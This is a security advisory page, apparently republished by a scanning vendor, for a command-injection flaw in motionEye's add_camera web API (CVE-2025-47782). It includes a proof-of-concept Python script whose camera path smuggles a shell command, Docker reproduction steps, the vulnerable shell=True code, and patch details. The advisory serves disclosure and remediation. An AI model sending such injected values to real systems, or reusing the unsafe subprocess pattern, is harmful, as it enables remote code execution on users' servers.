Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐍 PyPI

GHSA-g5mq-prx7-c588

motionEye vulnerable to RCE in add_camera Function Due to unsafe command execution

Also known asCVE-2025-47782PYSEC-2025-39
Published
May 15, 2025
Updated
May 15, 2025
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed

EPSS Exploitation Probability

via FIRST.org ↗
0.4%probability of exploitation in next 30 days
Lower Risk32th percentile+0.08%
0.00%0.30%0.60%0.91%0.1%0.4%Dec 25Apr 26Jun 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

1 pkg affected
🐍motioneye

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

Using a constructed (camera) device path with the config/add/add_camera motionEye web API allows an attacker with motionEye admin user credentials to execute any UNIX shell code within a non-interactive shell as executing user of the motionEye instance, motion by default.

function call stack

  1. post
  2. add_camera
  3. config.add_camera
  4. v4l2ctl.list_resolutions
  5. utils.call_subprocess
  6. subprocess.run

PoC

build

RUN_USER="user"
RUN_UID=$(id -u ${RUN_USER})
RUN_GID=$(id -g ${RUN_USER})
TIMESTAMP="$(date '+%Y%m%d-%H%M')"

docker build \
  --network host \
  --build-arg="RUN_UID=${RUN_UID?}" \
  --build-arg="RUN_GID=${RUN_GID?}" \
  -t "${USER?}/motioneye:${TIMESTAMP}" \
  --no-cache \
  -f docker/Dockerfile .

reproduce

Run:

docker run --rm  -d   -p 8765:8765   --hostname="motioneye"   -v /etc/localtime:/etc/localtime:ro   -v /tmp/motioneyeconfig:/etc/motioneye   -v /tmp/motioneyeconfig:/var/lib/motioneye
bash-4.2$ docker logs ceb435eacf55 -f
configure_logging cmd motioneye: False
configure logging to file: None
    INFO: hello! this is motionEye server 0.43.1b3
   DEBUG: found motion executable "/usr/bin/motion" version "4.7.0"
   DEBUG: found ffmpeg executable "/usr/bin/ffmpeg" version "7.1.1-1+b1"
   DEBUG: listing config dir /etc/motioneye...
   DEBUG: found camera with id 1
   DEBUG: reading camera config from /etc/motioneye/camera-1.conf...
   DEBUG: loading additional config structure for camera, without separators
   DEBUG: Using selector: EpollSelector
   DEBUG: searching motion executable
   DEBUG: starting motion executable "/usr/bin/motion" version "4.7.0"
    INFO: cleanup started
    INFO: wsswitch started
    INFO: tasks started
    INFO: mjpg customer garbage collector has started
    INFO: server started

Now, run the following script to attack motionEye:

import requests
import json

url = "http://your_ip:8765/config/add?_username=admin&_signature=c22baef3399cb7328e22ded1ca68395b4daecd18"

payload = json.dumps({
  "proto": "v4l2",
  "path": "' `touch /tmp/bbbb` '"
})
headers = {
  'Content-Type': 'application/json'
}

response = requests.request("POST", url, headers=headers, data=payload)

print(response.text)
<img width="1187" alt="Image" src="https://github.com/user-attachments/assets/8e0a9bfe-8de3-4023-96d6-0e888bfe3c62" /> <img width="324" alt="Image" src="https://github.com/user-attachments/assets/04c73349-694a-4531-993e-eea765b87d0e" />

Discussion

It is obvious that call_subprocess was used to execute the incoming data, resulting in a vulnerability

def list_resolutions(device):
    from motioneye import motionctl

    device = utils.make_str(device)

    if device in _resolutions_cache:
        return _resolutions_cache[device]

    logging.debug(f'listing resolutions of device {device}...')

    resolutions = set()
    output = b''
    started = time.time()
    cmd = f"v4l2-ctl -d '{device}' --list-formats-ext | grep -vi stepwise | grep -oE '[0-9]+x[0-9]+' || true"
    logging.debug(f'running command "{cmd}"')

    try:
        output = utils.call_subprocess(cmd, shell=True, stderr=utils.DEV_NULL)
    except:
        logging.error(f'failed to list resolutions of device "{device}"')

    output = utils.make_str(output)

def call_subprocess(
    args,
    stdin=None,
    input=None,
    stdout=subprocess.PIPE,
    stderr=DEV_NULL,
    capture_output=False,
    shell=False,
    cwd=None,
    timeout=None,
    check=True,
    encoding='utf-8',
    errors=None,
    text=None,
    env=None,
) -> str:
    """subprocess.run wrapper to return output as a decoded string"""
    return subprocess.run(
        args,
        stdin=stdin,
        input=input,
        stdout=stdout,
        stderr=stderr,
        capture_output=capture_output,
        shell=shell,
        cwd=cwd,
        timeout=timeout,
        check=check,
        encoding=encoding,
        errors=errors,
        text=text,
        env=env,
    ).stdout.strip()

Impact

RCE

Patches

The vulnerability has been patch with motionEye v0.43.1b4: https://github.com/motioneye-project/motioneye/pull/3143

Workarounds

Applying the following patch, replacing the literal single quotes in the created cmd string with a shlex.quoted input device: https://patch-diff.githubusercontent.com/raw/motioneye-project/motioneye/pull/3143.patch

References

https://github.com/motioneye-project/motioneye/issues/3142

Credit

The vulnerability was discovered by Tencent YunDing Security Lab.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPImotioneye0.43.1b1&&< 0.43.1b40.43.1b4

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for motioneye. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update motioneye to 0.43.1b4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-g5mq-prx7-c588 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-g5mq-prx7-c588 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-g5mq-prx7-c588. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary Using a constructed (camera) device path with the `config/add`/`add_camera` motionEye web API allows an attacker with motionEye admin user credentials to execute any UNIX shell code within a non-interactive shell as executing user of the motionEye instance, `motion` by default. #### function call stack 1. `post` 2. `add_camera` 3. `config.add_camera` 4. `v4l2ctl.list_resolutions` 5. `utils.call_subprocess` 6. `subprocess.run` ### PoC #### build ```sh RUN_USER="user" RUN_UID=$(id -u ${RUN_USER}) RUN_GID=$(id -g ${RUN_USER}) TIMESTAMP="$(date '+%Y%m%d-%H%M')" docker build \ --ne
O3 Security · Impact-Aware SCA

Is GHSA-g5mq-prx7-c588 in your dependencies?

O3 detects GHSA-g5mq-prx7-c588 across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.